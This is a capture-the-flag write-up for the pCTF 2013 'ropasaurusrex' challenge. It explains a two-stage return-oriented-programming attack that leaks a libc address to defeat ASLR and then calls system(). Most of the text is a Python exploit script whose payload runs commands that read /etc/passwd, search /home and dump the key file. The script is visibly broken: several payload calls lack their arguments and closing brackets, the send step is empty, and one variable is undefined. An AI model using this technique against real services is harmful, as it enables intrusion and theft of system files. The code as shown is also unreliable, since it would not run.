pCTF 2013 – ropasaurusrex (pwn 200)

This is a very simple network service which will overflow a stack buffer if you send it too much data. The stack is non-executable, which we can get around using Return-Oriented Programming (which is pretty much given away by the challenge name of course). Then the only tricky bit is that ASLR is enabled, which means that libc (which contains all of the interesting functions like system()) will be at a different address each time we connect.

Our solution is to exploit the binary in two stages. The first stage will write four bytes containing the address of __libc_start_main (this information is stored in the GOT) to the socket. The exploit will use this to calculate the base address of libc, and then use that to calculate the address of system().

The first stage will then patiently wait for us to send it some more data, and when it receives data it will set esp to the start of that data and return. This allows us to send a second-stage ROP payload. Another technique is to simply return back to the vulnerable function, but our trick is more universal I think (popebpret and leaveret gadgets are always easy to get).

Since we know the address of system() and we know the address where the second stage is being written (since we chose the address!) we can just call system() on a string of our choice. That’s game over πŸ™‚

The exploit (note, this has been cleaned up slightly without testing it again, so let me know if I screwed it up):

import socket
import struct 

def rop(*args):
    return struct.pack('I' * len(args), *args)

s = socket.create_connection(('',1025))

# GOT entry containing address of __libc_start_main
libc_main = 0x08049618

# writable address, somewhere in .bss
writable = 0x08049628 + 500

# gadgets
write = 0x804830c
read = 0x804832c
pop3ret = 0x080484b6
popebpret = 0x080483c3
leaveret = 0x080482ea # equivalent to 'mov esp, ebp ; pop ebp ; ret'

# offsets in libc (without relocation)
libc_system = 0x0039450 
libc_start_main = 0x0016bc0 

print "exploit running"

# send overflow and first stage ROP payload
s.send('A' * 140 + rop(

    # leak address of __libc_start_main

    # read second stage ROP payload

    # stack pivot into new ROP payload

# receive leaked address of __libc_start_main
tmp = s.recv(4)
addr = struct.unpack('I', tmp)[0]

print "__libc_start_main at %08x" % (addr,)

# calculate address of system using the leaked offset
libc_base = addr - libc_start_main
system = libc_base + libc_system

print "system at %08x" % (system,)

# second stage ROP payload
buf = rop(

    # new value of ebp, doesn't matter

    # call system on a string that is appended to this stage
    writable + 4 * 4, # length of this stage

# argument for system(), only the last string really matters
buf += ' ; '.join([
    "ls -al /",
    "cat /etc/passwd",
    "find /home",
    "cat /home/ropasaurusrex/key",
]) + "\0"

# send it

# print whatever comes our way
while True:
    tmp = s.recv(ln)
    if not tmp: break
    print "RECV: %r" % tmp

Comments are closed.